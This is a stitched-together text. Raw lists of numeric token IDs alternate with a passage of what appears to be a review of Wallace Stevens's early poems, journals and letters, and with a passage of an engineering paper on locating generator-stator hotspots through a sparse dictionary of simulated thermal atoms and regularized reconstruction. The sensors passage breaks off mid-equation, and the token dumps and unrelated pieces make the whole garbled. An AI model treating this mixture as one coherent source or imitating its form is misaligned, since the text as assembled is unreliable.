285, 369, 594, 2120, 273, 794, 326, 13, 2190, 643, 12870, 3355, 13, 344, 369, 10145, 13, 1223, 346, 25525, 314, 6195, 937, 275, 521, 1390, 807, 273, 6831, 13, 273, 346, 1136, 28590, 480, 729, 1365, 326, 344, 369, 1469, 281, 16773, 3, 247, 3343, 560, 28, 6296, 13, 344, 858, 37210, 282, 617, 281, 253, 5254, 15, 1623, 253, 1735, 3239, 273, 795, 52, 276, 1261, 19384, 285, 15552, 248, 11818, 64, 359, 1239, 326, 671, 1078, 6108, 17330, 344, 5262, 271, 7237, 342, 6086, 18056, 333, 3230, 13, 16585, 616, 40522, 37321, 327, 752, 1646, 281, 452, 644, 2426, 273, 13919, 15, 754, 4159, 247, 19361, 281, 18056, 333, 3230, 13719, 1107, 1996, 13, 285, 6376, 1900, 14211, 281, 253, 29875, 434, 1437, 323, 1128, 249, 247, 12616, 432, 253, 19361, 12012, 783, 17155, 40994, 1896, 449, 22801, 612, 249, 758, 22964, 281, 1142, 1841, 1128, 936, 521, 4475, 13, 2167, 1014, 387, 253, 35681, 703, 5420, 346, 3062, 390, 1679, 440, 48200, 494, 937, 285, 281, 253, 43839, 8874, 888, 708, 2102, 24551, 414, 6487, 13, 323, 534, 344, 5188, 2149, 4829, 14327, 1107, 13, 973, 2469, 253, 2363, 273, 15072, 15, 380, 8933, 7957, 1255, 273, 521, 638, 20774, 569, 310, 5183, 407, 253, 4294, 342, 534, 6698, 12028, 273, 521, 8920, 403, 32457, 275, 25443, 8007, 1996, 15, 6975, 247, 11637, 24718, 13, 344, 13598, 521, 36982, 486, 285, 4307, 352, 13, 2952, 846, 2952, 15, 1284, 17353, 1342, 434, 40522, 2425, 369, 247, 5415, 18520, 285, 7466, 273, 795, 4015, 3465, 273, 33905, 64, 1157, 594, 352, 2761, 369, 342, 22801, 285, 795, 41, 1513, 37583, 64, 1905, 8701, 4081, 4060, 323, 253, 5728, 25443, 369, 795, 510, 31373, 273, 29442, 37583, 4414, 32761, 512, 13, 344, 369, 14211, 281, 253, 828, 10966, 366, 22086, 273, 6239, 344, 4447, 1078, 436, 5331, 3407, 27, 346, 2513, 6239, 1663, 247, 8761, 32, 2615, 368, 2014, 352, 562, 13, 390, 1364, 368, 1339, 352, 7617, 275, 368, 323, 3139, 32, 309, 452, 3413, 2220, 581, 2181, 13, 285, 326, 310, 417, 281, 795, 14626, 64, 281, 4176, 13098, 3707, 4266, 449, 187, 187, 8389, 6122, 556, 2011, 22964, 275, 1614, 407, 7552, 617, 3392, 434, 8121, 15, 831, 310, 253, 2626, 4644, 326, 703, 556, 2326, 715, 2315, 28, 253, 767, 2571, 403, 253, 795, 1466, 1336, 273, 25458, 22801, 64, 313, 28355, 10, 285, 253, 13950, 1497, 795, 510, 30193, 387, 253, 8072, 273, 253, 18296, 64, 313, 23482, 481, 1500, 10316, 281, 617, 39513, 2458, 1456, 247, 2389, 285, 1557, 625, 685, 41023, 13, 285, 275, 436, 4227, 556, 574, 281, 10242, 247, 1039, 273, 15250, 617, 945, 25362, 456, 13, 42283, 2144, 15, 795, 52, 276, 1261, 19384, 285, 15552, 248, 11818, 64, 310, 271, 11555, 1984, 12012, 66, 11098, 3007, 318, 937, 581, 1537, 1333, 13, 32249, 253, 1386, 846, 253, 1386, 275, 346, 510, 1176, 264, 757, 347, 253, 23488, 330, 3, 432, 534, 253, 4060, 310, 2668, 27, 187, 187, 1328, 13, 3103, 13, 4159, 521, 354, 1851, 4034, 66, 13, 187, 187, 1898, 13, 1146, 2120, 273, 253, 1729, 23804, 13, 275, 31509, 187, 187, 2115, 3987, 1070, 18155, 1261, 19384, 285, 26524, 11818, 15, 187, 187, 1328, 1160, 247, 11098, 3007, 318, 15, 187, 187, 34571, 34406, 4543, 13950, 1497, 13, 436, 4644, 1128, 23714, 342, 10381, 36470, 434, 23639, 34081, 273, 22801, 13, 285, 247, 26259, 7285, 281, 795, 12535, 316, 5779, 18256, 528, 64, 1157, 16168, 407, 20628, 5112, 43542, 1128, 405, 4303, 22294, 2366, 22801, 434, 638, 14, 746, 1010, 25443, 13, 512, 273, 253, 24331, 326, 16139, 253, 19796, 1499, 3834, 597, 2959, 13, 253, 10713, 273, 22801, 434, 4876, 281, 521, 4475, 2720, 281, 616, 2118, 281, 43839, 13, 247, 1652, 273, 521, 31454, 285, 6698, 2531, 36045, 13, 285, 824, 1794, 15553, 5441, 285, 19704, 980, 347, 497, 14320, 9371, 15, 496, 841, 1390, 767, 9050, 13, 359, 5730, 323, 625, 15, 22801, 434, 36045, 269, 4504, 598, 1048, 1078, 521, 16053, 13, 285, 359, 1537, 452, 10490, 281, 1239, 13, 432, 253, 795, 26256, 24461, 64, 1157, 253, 346, 30786, 299, 24763, 2926, 273, 247, 2872, 637, 665, 3936, 247, 10440, 273, 521, 49541, 281, 320, 29318, 28, 846, 352, 310, 2218, 285, 344, 13279, 253, 5522, 13, 344 ]

a higher pleasure for a lower we raise men in the scale of existence," and finally, to the complete credo he could set down as early as 1899: I thoroughly believe that at this very moment I get none of my chief pleasures except from what is unsullied. The love of beauty excludes evil. A moral life is simply a pure conscience: a physical, mental and ethical source of pleasure. At the same time it is an inhuman life to lead. It is a form of narrowness so far as companionship is concerned. One _must_ make concessions to others; but there is never a necessity of smutching inner purity. The only practical life of the world, as a man of the world, not as a University Professor, a Retired Farmer or Citizen, a Philanthropist, a Preacher, a Poet or the like, but as a bustling merchant, a money-making lawyer, a soldier, a politician is to be if unavoidable a pseudo-villain in the drama, a decent person in private life. So the decision, if untested, has already been made—to live dualistically, as a "pseudo-villain," a "money-making lawyer" who is also "a decent person in private life." _The love of beauty excludes evil:_ the word "beauty" completes the old-fashioned trilogy—ideal, pleasure, beauty—by which Stevens lived and concocted his astonishingly supple and prolific verbal world. The career choices had already been spelled out by his father in a letter written earlier to Harvard: "For life is either a pastoral dream—the ideal of the tramp, or superannuated village farmer—Or it is the wild hurly burly activity of the fellows who make the world richer and better by their being in it." The natural landscape of Berks County, it may be not too fanciful to say, looks nurtured and used and, if not Arcadian, rather European to American eyes. The sky seldom lacks clouds, and the hills, with their shaggy crowns, do seem subdued giants. The frontier feels even more remote here than in New England, where an underlying austerity remembers it. Reading, its natives know, is a civilized place. Laid out on tidy English principles by Thomas Penn, an early center of American industry, populated by skilled craftsmen, and combining, in the words of the 1911 Encyclopaedia Britannica, "unusual business and industrial advantages" with a situation in a "rich agricultural region," Reading had in the years when Stevens knew it best a proud sense of itself as a _place_. Stevens knew himself as a man of places: "Life is an affair of people not of places. But for me life is an affair of places and that is the trouble." In addition to the solid "Dutch" physiognomy pictured on the dust jackets, his "native earth" endowed Stevens with a human nature that was robust, patient, loyal, and humorous. How much patience he needed to bring his gifts to fruition can be seen from the juvenilia that his daughter here collects and publishes. His verse remained juvenile into his thirties. Though there are flashes of characteristic color in some of his undergraduate poems— for in the fern I saw the sun Take fire against the dew; the lily white Was soft and deep at morn; the rosary Streamed forth a wild perfume into the light— the sentiments are Henleyesque and the metrics jingling; in New York he adds some fashionable _chinoiserie_ to Elsie's birthday bouquets but retains the incubus of rhyme to the verge of his coming of artistic age, which seems to date (as did Proust's) from his mother's death, in 1912. He wrote to Elsie in 1911, "I am far from being a genius—and must rely on hard and faithful work." This seems modest; but he was certainly far from precocious. His _Harvard Advocate_ contributions, though they conscientiously manipulate the glossy counters of late-Victorian poetry, in no way advance the game; whereas, ten years later, T. S. Eliot, having discovered Laforgue and Dante for himself, was contributing to the _Advocate_ poems ("Nocturne," "Spleen") that are well on the way to "Prufrock." Yet though Stevens was slow to find his voice, slow to make his first collection, and even slower to make his second ( _Ideas of Order_, in 1936), he lived long enough to accommodate these hesitations within an ample oeuvre, of expanding fluency; his joyous late variations on mastered themes remind us of Bach. He played on and on, and in the end won all the prizes. His personal robustness found early expression in boyhood athletics and pranks. "I was distinctly a rowdy," he tells Elsie in a letter. In young manhood, he flung himself into thirty-mile walks along the dusty, preautomobile roads of Pennsylvania, New York, and New Jersey. Joined to his reflective, deliberate, cold side there was something combative and uproarious, which expressed itself in contention with distance and weather. In 1908, describing to Elsie a walk to Grant's Tomb on a winter day, he writes, "It was beastly cold—my hands were swollen with it. But the air poured into us like light into darkness." The image is pure Plato, and pure lust, of a sort. Stevens comes at us, in the mature poems, tumbling, full of foolery, veering from decorum with outrageous titles ("No Possum, No Sop, No Taters," "So-and-So Reclining on Her Couch," "A Weak Mind in the Mountains," "Saint John and the Back-Ache," etc.) and in the animal noises and nonsense syllables so surprising amid the splendors of his vocabulary:‡ Poet, be seated at the piano Play the present, its hoo-hoo-hoo, Its shoo-shoo-shoo, its ric-a-ric, Its envious cachinnation. Stevens was called Pat in Reading and Pete at Harvard and was so full of fun that, among other escapades, he was accused, while "fairly lit," in his last year of college, of "announcing jovially that he was going to rape" a waitress; indeed, he did topple her to the floor. On the next page of _Souvenirs and Prophecies_ we read that also before leaving Harvard he spent an evening with George Santayana, discussing their poetic ambitions on what seem to have been terms of equality. He wrote a poem to Santayana fifty years later, and remained always loyal to the philosopher's quest for—in a phrase from the poem—"the celestial possible." Stevens evinced loyalty to many things—to his wife, though even at the outset she appeared "more or less unmanageable," and to the Hartford Accident & Indemnity Company, for which he labored nearly forty years, well past the age of retirement. The steadfastness of his preoccupations is demonstrated by the frequency with which journal entries of his youth are echoed in poems decades later. Like a Pennsylvania farmer, he occupied his acreage and worked it, season after season. As Whitman's poetic activity was a continuous revision and expansion of _Leaves of Grass_, so it almost was with Stevens and _Harmonium_ —his proposed title for the collected poems was _The Whole of Harmonium_. Above all, he was loyal to the inviolate conception of literature he formed before this century began: "Is literature really a profession? Can you single it out, or must you let it decide in you for itself? I have determined upon one thing, and that is not to _try_ to suit anybody except myself." His daughter has shown loyalty in turn by becoming her father's editor. This is the third volume that she has seen into press; the two others are the _Letters of Wallace Stevens_ (1966) and the anthology _The Palm at the End of the Mind_ (1972). She brings to her custodianship a love and care more than scholarly, and in this instance has had to invent a way of presenting her variegated, fragmented material. _Souvenirs and Prophecies_ is an unusual book—"a singular collation," one might say, quoting the line after the line in "The Comedian as the Letter C" from which the title is taken: He, therefore, wrote his prolegomena, And, being full of the caprice, inscribed Commingled souvenirs and prophecies. He made a singular collation. Neither biography nor anthology, this volume—uniform with Knopf's handsome editions of Stevens, and a balancing opposite to _Opus Posthumous_, edited by Samuel French Morse—essentially binds together Stevens's pre-1915 poems, all of the journals that survived the mysterious slashing they received, the bulk of Stevens's letters to his wife prior to their move to Hartford, a little of his undergraduate and journalistic prose, and such biographical facts and conjectures as were deemed helpful. In these last two categories, we wish for more. Stevens's prose firmed up long before his poetry, and we might have liked to read, from the _Advocate_, the "rather eerie story of a young man who takes a photograph of his sweetheart to be framed; after it is done and he opens the package, he

[ 253, 1563, 7605, 1783, 13, 12014, 281, 1254, 35, 1619, 14, 8751, 14, 1036, 14, 11494, 1099, 1656, 27234, 247, 14923, 14299, 3268, 13, 359, 2797, 247, 5281, 4764, 370, 81, 393, 9887, 337, 5, 970, 253, 1332, 2529, 275, 1254, 35, 1630, 14, 8751, 14, 1036, 14, 11494, 1099, 5413, 7809, 326, 253, 42435, 452, 247, 3905, 43917, 3268, 15, 831, 1491, 588, 320, 2007, 28734, 275, 544, 12612, 608, 1084, 1704, 22, 14, 8751, 14, 1036, 14, 11494, 1099, 910, 709, 14, 881, 568, 1704, 7129, 187, 187, 21, 15, 26372, 273, 9405, 46781, 1712, 1704, 21, 14, 8751, 14, 1036, 14, 11494, 1099, 94, 187, 32640, 187, 187, 1231, 5467, 326, 253, 8609, 985, 323, 14156, 49927, 476, 320, 23115, 949, 247, 23507, 6779, 15, 380, 1921, 310, 326, 352, 476, 320, 2783, 247, 1781, 2605, 342, 6447, 3268, 3276, 13, 835, 19322, 3511, 46781, 778, 12893, 275, 1083, 273, 29491, 4433, 2470, 2841, 337, 1084, 8751, 14, 1036, 14, 11494, 1099, 14, 71, 2874, 910, 709, 14, 881, 568, 926, 2536, 6915, 247, 19034, 4315, 669, 2407, 92, 37, 94, 393, 249, 1926, 1991, 92, 51, 9496, 78, 393, 3181, 295, 724, 326, 4428, 475, 79, 11, 21841, 2460, 10917, 275, 253, 9930, 669, 1274, 6921, 393, 1274, 15, 277, 578, 74, 94, 393, 918, 12499, 393, 918, 15, 578, 75, 426, 337, 1990, 79, 3303, 247, 8609, 2460, 669, 2407, 92, 71, 94, 393, 249, 1926, 1991, 92, 51, 9496, 78, 724, 476, 320, 6607, 407, 23507, 4872, 13553, 273, 253, 19034, 10917, 13, 347, 2011, 275, 20860, 313, 22, 10, 1254, 35, 1717, 14, 8751, 14, 1036, 14, 11494, 1099, 1184, 27, 1764, 2407, 92, 71, 94, 426, 393, 2407, 92, 37, 889, 2407, 464, 1637, 14640, 835, 253, 4972, 669, 2407, 464, 1637, 94, 393, 249, 1926, 1991, 92, 51, 9496, 79, 724, 4428, 253, 10303, 15, 5815, 13112, 310, 253, 8609, 2460, 273, 253, 2644, 2605, 672, 760, 581, 1896, 4250, 2603, 310, 3939, 387, 247, 673, 15, 496, 436, 6779, 1401, 2141, 424, 310, 23507, 13, 891, 15, 70, 904, 352, 310, 8025, 281, 3831, 6571, 33303, 15, 380, 6779, 273, 1401, 71, 424, 778, 2057, 320, 3242, 1401, 71, 424, 426, 1401, 37, 2141, 424, 390, 16851, 370, 71, 393, 9887, 5, 1401, 37, 2141, 8200, 14127, 20860, 313, 23, 10, 1254, 35, 1717, 14, 8751, 14, 1036, 14, 11494, 1099, 1184, 27, 1764, 19783, 393, 2407, 92, 71, 94, 428, 393, 2407, 92, 37, 889, 2407, 464, 1637, 94, 393, 19783, 578, 81, 889, 50276, 61, 3040, 393, 9501, 464, 4259, 14640, 835, 669, 9501, 464, 4259, 724, 310, 253, 5927, 12541, 2228, 6799, 13, 285, 370, 81, 5, 310, 253, 5222, 908, 323, 10499, 253, 11254, 15, 544, 2841, 854, 1084, 8751, 14, 1036, 14, 11494, 1099, 14, 71, 8897, 910, 709, 14, 881, 568, 926, 986, 2722, 271, 1650, 273, 253, 23507, 6779, 273, 271, 6979, 985, 970, 247, 19034, 15, 496, 436, 1650, 13, 247, 5019, 273, 1264, 10917, 273, 253, 19034, 1401, 37, 424, 369, 908, 281, 830, 253, 2460, 1401, 71, 424, 1254, 35, 1717, 14, 8751, 14, 1036, 14, 11494, 1099, 2947, 35, 1229, 14, 8751, 14, 1036, 14, 11494, 1099, 1656, 187, 187, 1231, 4270, 247, 19034, 273, 3511, 46781, 949, 9864, 970, 253, 8610, 45136, 31743, 313, 2115, 18989, 13, 38476, 13, 16842, 10, 10796, 73, 656, 982, 4968, 15, 496, 253, 9938, 13, 359, 2783, 253, 3520, 3607, 273, 253, 4753, 13, 12087, 285, 3126, 7548, 2515, 15, 5815, 13112, 369, 4561, 7296, 253, 1899, 273, 253, 11623, 1972, 275, 1016, 5340, 15, 1284, 253, 21841, 556, 4791, 10855, 387, 608, 7892, 1029, 13, 285, 655, 6887, 323, 5052, 13, 7296, 337, 13112, 323, 1016, 337, 7892, 13, 359, 4561, 5922, 1099, 10917, 313, 1671, 6806, 608, 6806, 655, 10, 281, 1566, 253, 985, 15, 4129, 436, 6779, 273, 337, 7892, 1543, 275, 247, 1781, 1180, 273, 10917, 13, 352, 369, 3309, 281, 17029, 3511, 46781, 342, 625, 7899, 10103, 13, 671, 13538, 12420, 3237, 273, 253, 8468, 12692, 15, 3932, 253, 2264, 1979, 273, 253, 2460, 25597, 6806, 1052, 7892, 13, 253, 4972, 2978, 273, 1016, 13112, 310, 7609, 13, 10695, 13, 9046, 247, 19034, 4315, 1401, 37, 424, 273, 7609, 13, 10695, 6806, 5922, 1099, 15, 187, 187, 510, 9930, 273, 253, 19034, 4315, 13, 390, 10917, 13, 497, 4447, 407, 253, 3276, 3268, 2193, 4561, 407, 1612, 273, 337, 411, 16, 3591, 63, 20, 63, 3732, 281, 247, 5052, 273, 608, 7892, 275, 1016, 1899, 2112, 253, 10855, 13, 7296, 11792, 1375, 15, 844, 873, 253, 5052, 273, 608, 7892, 347, 247, 5927, 1617, 13, 984, 273, 253, 5340, 10103, 285, 10183, 275, 970, 25784, 11623, 1972, 342, 2406, 2978, 15, 1723, 13, 253, 3276, 941, 310, 19958, 1046, 337, 7892, 323, 9046, 10917, 13, 347, 5544, 275, 253, 2045, 12494, 15, 3308, 13, 253, 4972, 1401, 2141, 424, 6125, 253, 2193, 273, 253, 8609, 1612, 326, 6635, 253, 3511, 46781, 275, 253, 2605, 15, 3813, 13, 407, 26230, 1401, 2141, 26359, 359, 4044, 253, 4328, 285, 253, 2408, 273, 8609, 1612, 326, 5997, 1016, 3511, 17166, 15, 544, 2841, 898, 1084, 8751, 14, 1036, 14, 11494, 1099, 14, 71, 8972, 910, 709, 14, 881, 568, 926, 986, 66, 2722, 4278, 273, 253, 17489, 12087, 908, 275, 253, 9938, 13, 285, 544, 2841, 898, 1084, 8751, 14, 1036, 14, 11494, 1099, 14, 71, 8972, 910, 709, 14, 881, 568, 926, 986, 67, 2722, 253, 3276, 3268, 323, 2264, 1612, 273, 337, 411, 16, 3591, 63, 20, 63, 387, 3436, 11758, 36, 18509, 3276, 13, 275, 11792, 1375, 15, 380, 1543, 921, 247, 7629, 273, 374, 15, 3763, 11758, 36, 342, 11052, 3276, 273, 370, 70, 2497, 1269, 16, 1857, 3303, 835, 370, 89, 5, 310, 253, 4181, 432, 253, 4250, 2603, 15, 831, 11052, 1159, 310, 247, 36833, 4944, 273, 253, 10704, 9938, 13, 534, 369, 908, 281, 11990, 253, 5140, 273, 253, 19034, 15, 380, 2898, 273, 253, 19034, 1401, 37, 424, 275, 253, 2460, 14433, 5933, 310, 5469, 275, 625, 2508, 275, 544, 12612, 608, 1084, 1704, 22, 14, 8751, 14, 1036, 14, 11494, 1099, 910, 709, 14, 881, 568, 1704, 7129, 187, 187, 22, 15, 33034, 1720, 11682, 29088, 1712, 1704, 22, 14, 8751, 14, 1036, 14, 11494, 1099, 94, 187, 4578, 16536, 187, 187, 6407, 13, 7296, 253, 5044, 1566, 273, 2460, 14433, 3762, 13, 253, 11931, 985, 476, 320, 6607, 407, 20860, 313, 24, 10, 1254, 35, 1423, 14, 8751, 14, 1036, 14, 11494, 1099, 1184, 27, 1764, 2407, 92, 72, 94, 426, 393, 2407, 92, 41, 71, 94, 559, 393, 2407, 92, 79, 14640, 835, 669, 2407, 92, 72, 724, 310, 247, 4972, 4447, 407, 399, 6901, 28799, 13, 669, 2407, 92, 41, 724, 310, 253, 7340, 4315, 13, 669, 2407, 92, 71, 724, 310, 247, 4972, 9999, 253, 3276, 3268, 275, 49927, 2553, 13, 285, 1401, 79, 424, 310, 247, 4972, 9999, 512, 4973, 273, 21842, 6046, 15, 24258, 326, 253, 8609, 2460, 556, 247, 23507, 6779, 275, 253, 8818, 19034, 13, 253, 11931, 985, 476, 320, 35993, 40944, 20860, 313, 22, 10, 715, 20860, 313, 24, 582, 347, 2011, 275, 20860, 313, 25, 10, 1254, 35, 1423, 14, 8751, 14, 1036, 14, 11494, 1099, 1184, 27, 1764, 2407, 92, 72, 94, 426, 393, 2407, 92, 10536, 889, 2407, 464, 1637, 94, 559, 393, 2407, 92, 79, 10878, 187, 187, 1909, 2011, 275, 544, 2841, 721, 1084, 8751, 14, 1036, 14, 11494, 1099, 14, 71, 7174, 910, 709, 14, 881, 568, 926, 4982, 253, 399, 6901, 346, 1033, 38387, 3, 253, 27354, 13, 534, 310, 247, 8847, 273, 1698, 14, 5858, 2718, 15, 831, 310, 15786, 715, 271, 2853, 14, 42743, 273, 4315, 1401, 41, 12530, 3308, 13, 253, 27930, 273, 253, 3276, 3268, 407, 2969, 27697, 273, 20860, 313, 25, 10, 11026, 1029, 6046, 17442, 13, 11365, 4105, 1543, 1254, 35, 1797, 14, 8751, 14, 1036, 14, 11494, 1099, 1656, 831, 1895, 4419, 37820, 13, 534, 10308, 4219, 253, 14433, 285, 19132, 253, 1543, 15, 4129, 253, 19034, 556, 644, 4270, 342, 253, 3511, 46781, 273, 337, 7892, 281, 3157, 6779, 13, 359, 3264, 731, 281, 2826, 342, 608, 7892, 390, 625, 313, 2887, 544, 2841, 898, 1084, 8751, 14, 1036, 14, 11494, 1099, 14, 71, 8972, 910, 709, 14, 881, 568, 926, 9471, 984, 273, 253, 8723, 1617, 273, 2605, 21841, 285, 11792, 1375, 13, 347, 5544, 275, 544, 12612, 577, 1084, 1704, 21, 14, 8751, 14, 1036, 14, 11494, 1099, 910, 709, 14, 881, 568, 1704, 7129, 3813, 13, 253, 954, 4569, 37820, 310, 12266, 19988, 318, 13, 347, 352, 25687, 5313, 14, 3020, 3638, 6298, 15, 3308, 13, 253, 2105, 1159, 281, 8415, 253, 13737, 1895, 310, 1677, 407, 20860, 313, 26, 10, 1254, 35, 1797, 14, 8751, 14, 1036, 14, 11494, 1099, 2947, 35, 1423, 14, 8751, 14, 1036, 14, 11494, 1099, 1184, 27, 1764, 700, 464, 2407, 464, 1637, 599, 426, 393, 30884, 464, 2407, 464, 1637, 5932, 1662, 1222, 94, 393, 19783, 305, 428, 393, 2407, 92, 10536, 889, 2407, 464, 1637, 94, 393, 19783, 578, 81, 1990, 81, 94, 559, 393, 2260, 393, 19783, 393, 2407, 92, 50, 889, 2407, 464, 1637, 94, 393, 19783, 578, 18, 14640, 835, 669, 700, 464, 2407, 464, 1637, 4018, 310, 247, 4972, 342, 253, 2193, 273, 253, 8609, 1612, 326, 6635, 253, 3511, 46781, 275, 253, 2605, 13, 370, 81, 5, 310, 253, 5222, 908, 275, 253, 941, 14, 71, 21718, 1307, 13, 669, 9501, 464, 2260, 724, 310, 253, 37820, 4764, 534, 5760, 253, 7340, 273, 253, 2900, 281, 253, 6046, 13, 285, 1401, 50, 424, 310, 247, 6486, 3064, 4315, 15, 496, 11193, 3082, 13, 6867, 22429, 908, 323, 10499, 253, 11254, 403, 253, 370, 45, 578, 81, 15728, 12850, 84, 323, 370, 81, 5, 426, 337, 13, 374, 285, 13246, 241, 15, 733, 310, 1846, 281, 897, 253, 418, 95, 19, 95, 5222, 275, 253, 941, 1307, 984, 253, 6046, 310, 3798, 973, 6607, 407, 247, 2622, 3268, 1254, 35, 1630, 14, 8751, 14, 1036, 14, 11494, 1099, 2947, 35, 1717, 14, 8751, 14, 1036, 14, 11494, 1099, 1656, 1723, 13, 2556, 281, 253, 7605, 1783, 3559, 275, 544, 12612, 495, 1084, 1704, 20, 14, 8751, 14, 1036, 14, 11494, 1099, 910, 709, 14, 881, 568, 1704, 4982, 253, 399, 6901, 11931, 1566, 4428, 12541, 6332, 342, 3905, 43917, 3879, 13, 534, 6492, 326, 253, 418, 95, 19, 95, 5222, 943, 320, 7932, 407, 271, 418, 95, 18, 95, 5222, 13, 891, 15, 70, 904, 475, 81, 11, 426, 337, 1254, 35, 1630, 14, 8751, 14, 1036, 14, 11494, 1099, 1656, 1916, 8415, 20860, 313, 26, 10, 342, 475, 81, 11, 426, 337, 13, 359, 908, 253, 47875, 1720, 24676, 2070, 505, 25399, 4420, 313, 3027, 7858, 10, 2746, 15, 831, 1332, 8414, 273, 4020, 839, 253, 2105, 1159, 407, 17375, 21396, 418, 95, 19, 95, 22429, 13, 22753, 253, 2900, 407, 16161, 247, 1878, 19325, 1895, 285, 28411, 839, 1110, 767, 5018, 1919, 690, 3523, 17705, 310, 26553, 13, 3798, 2931, 407, 247, 5927, 5731, 2281, 1254, 35, 2405, 14, 8751, 14, 1036, 14, 11494, 1099, 1656, 380, 7092, 4278, 275, 6397, 13068, 31743, 313, 51, 6759, 66, 13, 8684, 21950, 13, 17320, 781, 13, 6908, 13, 5106, 10, 403, 2011, 275, 29088, 337, 15, 187, 187, 39973, 337, 27, 187, 187, 6586, 1720, 11682, 29088, 187, 187, 42406, 27, 187, 187, 72, 187, 187, 19182, 399, 6901, 28799, 13, 187, 187, 41, 187, 187, 19182, 7340, 4315, 13, 187, 187, 37, 187, 187, 19182, 26372, 273, 3511, 46781, 13, 187, 187, 50, 187, 187, 19182, 6486, 3064, 4315, 187, 187, 42406, 27, 187, 187, 5776, 535, 3930, 6, 35116, 478, 19606, 4764, 313, 1178, 45190, 10, 187, 187, 42406, 27, 187, 187, 70, 30, 740, 187, 187, 283, 26, 187, 187, 19182, 32547, 5058, 9025, 187, 187, 42406, 27, 187, 187, 41, 187, 187, 37, 187, 187, 30, 187, 187, 41, 187, 187, 6027, 187, 187, 37, 187, 187, 19182, 27354, 2380, 273, 253, 19034, 187, 187, 42406, 27, 187, 187, 2141, 187, 187, 9952, 187, 187, 30, 187, 187, 41, 187, 187, 37, 187, 187, 6097, 187, 187, 6027, 187, 187, 72, 187, 187, 19182, 540, 451, 2900 ]

the following statistical analysis, similarly to \[[@B28-sensors-16-01425]\]. Assuming a generalized Gaussian distribution, we obtained a shape parameter $p \approx 1$ using the method described in \[[@B27-sensors-16-01425]\], indicating that the residuals have a Laplacian distribution. This information will be further exploited in [Section 5](#sec5-sensors-16-01425){ref-type="sec"}. 4. Dictionary of Hotspots {#sec4-sensors-16-01425} ========================= We assume that the thermal system for generator stator can be modeled through a sparse representation. The reason is that it can be considered a large structure with uniform distribution temperature, where occasional hotspots may arise in case of insulation failure ([Figure 1](#sensors-16-01425-f001){ref-type="fig"}). Using a dictionary matrix $\mathbf{D} \in {\mathbb{R}}^{m \times n}$ that contains *n* prototype image atoms in the columns $\left\{ \left. d_{i} \right\} \right._{j = 1}^{n}$, a thermal image $\mathbf{f} \in {\mathbb{R}}^{m}$ can be represented by sparse linear combinations of the dictionary atoms, as shown in Equation (5) \[[@B29-sensors-16-01425]\]: $$\mathbf{f} = \mathbf{D}\mathbf{\alpha},$$ where the vector $\mathbf{\alpha} \in {\mathbb{R}}^{n}$ contains the coefficients. Each atom is the thermal image of the whole structure when only one possible heat source is active at a time. In this representation **α** is sparse, i.e., it is assumed to contain mostly zeros. The representation of **f** may either be exact **f** = **Dα** or approximate $f \approx$ **Dα**, satisfying Equation (6) \[[@B29-sensors-16-01425]\]: $$\parallel \mathbf{f} - \mathbf{D}\mathbf{\alpha} \parallel_{p}\ \leq \mathsf{\epsilon},$$ where $\mathsf{\epsilon}$ is the minimum residual error desired, and $p$ is the norm used for measuring the deviation. [Figure 8](#sensors-16-01425-f008){ref-type="fig"} shows an example of the sparse representation of an imaging system using a dictionary. In this example, a combination of three atoms of the dictionary **D** was used to form the image **f** \[[@B29-sensors-16-01425],[@B30-sensors-16-01425]\]. We built a dictionary of hotspots through simulation using the COMSOL^®^ (Comsol, Stockholm, Sweden) multiphysics tool. In the simulations, we considered the physical properties of the materials, geometry and environment boundary conditions. Each atom was generated considering the position of the resistances in each plate. As the prototype has 35 plates at 5 cm high, and 19 positions for resistance, considering 1 atom for each 1 cm, we generated 3325 atoms (35 × 5 × 19) to model the system. Although this representation of 1 cm results in a large number of atoms, it was necessary to reconstruct hotspots with more accurate dimensions, also preventing alignment problems of the sensor installation. Since the total size of the image 209 × 200 cm, the vector length of each atom is 41,800, forming a dictionary matrix **D** of 41,800 × 3325. The columns of the dictionary matrix, or atoms, were formed by the temperature distribution values generated by power of 1 W/cm^3^ applied to a resistance of 5 cm in each position along the plates, considering steady state. We set the resistance of 5 cm as a minimum condition, because of the plate dimensions and difficulty in using tubular resistances with lower length. However, the temperature data is sampled every 1 cm for forming atoms, as explained in the previous paragraph. Thus, the vector **α** represents the values of the thermal power that generate the hotspots in the structure. Therefore, by estimating **α,** we obtain the location and the amount of thermal power that causes each hotspot. [Figure 9](#sensors-16-01425-f009){ref-type="fig"}a shows details of the mesh geometry used in the simulations, and [Figure 9](#sensors-16-01425-f009){ref-type="fig"}b shows the temperature distribution for total power of 1 W/cm^3^ at 26 °C ambient temperature, in steady state. The results show a variation of 2.62 °C with decreasing temperature of $e^{- x/45}$, where $x$ is the distance from the heat source. This decreasing function is a parametric fit of the numerical simulations, which was used to ease the construction of the dictionary. The application of the dictionary **D** in the image reconstruction algorithm is discussed in more detail in [Section 5](#sec5-sensors-16-01425){ref-type="sec"}. 5. Imaging Reconstruction Algorithm {#sec5-sensors-16-01425} =================================== First, considering the basic model of image reconstruction theory, the acquisition system can be represented by Equation (7) \[[@B22-sensors-16-01425]\]: $$\mathbf{g} = \mathbf{Hf} + \mathbf{n},$$ where $\mathbf{g}$ is a vector formed by DTS readings, $\mathbf{H}$ is the sensitivity matrix, $\mathbf{f}$ is a vector representing the temperature distribution in stator surface, and **n** is a vector representing all sources of additive noise. Considering that the thermal image has a sparse representation in the constructed dictionary, the acquisition system can be rewritten substituting Equation (5) into Equation (7), as shown in Equation (8) \[[@B22-sensors-16-01425]\]: $$\mathbf{g} = \mathbf{HD}\mathbf{\alpha} + \mathbf{n}.$$ As shown in [Figure 6](#sensors-16-01425-f006){ref-type="fig"}, the DTS "spreads" the impulse, which is a characteristic of low-pass systems. This is translated into an ill-conditioning of matrix **H**. Thus, the recovering of the temperature distribution by simple inversion of Equation (8) yields high noise amplification, generating poor results \[[@B21-sensors-16-01425]\]. This problem requires regularization, which stabilizes the reconstruction and improves the results. Although the dictionary has been built with the hotspots of 1 cm to improve representation, we expected them to occur with 5 cm or more (see [Figure 9](#sensors-16-01425-f009){ref-type="fig"}), because of the minimal condition of structure prototype and steady state, as explained in [Section 4](#sec4-sensors-16-01425){ref-type="sec"}. Therefore, the most appropriate regularization is Total Variation, as it privileges piece-wise constant signals. Thus, the cost function to solve the inverse problem is given by Equation (9) \[[@B21-sensors-16-01425],[@B22-sensors-16-01425]\]: $$\hat{\mathbf{\alpha}} = \underset{\mathbf{\alpha}}{argmin} \parallel g - \mathbf{HD}\mathbf{\alpha} \parallel_{p}^{p} + \lambda \parallel \mathbf{Q}\mathbf{\alpha} \parallel_{1},$$ where 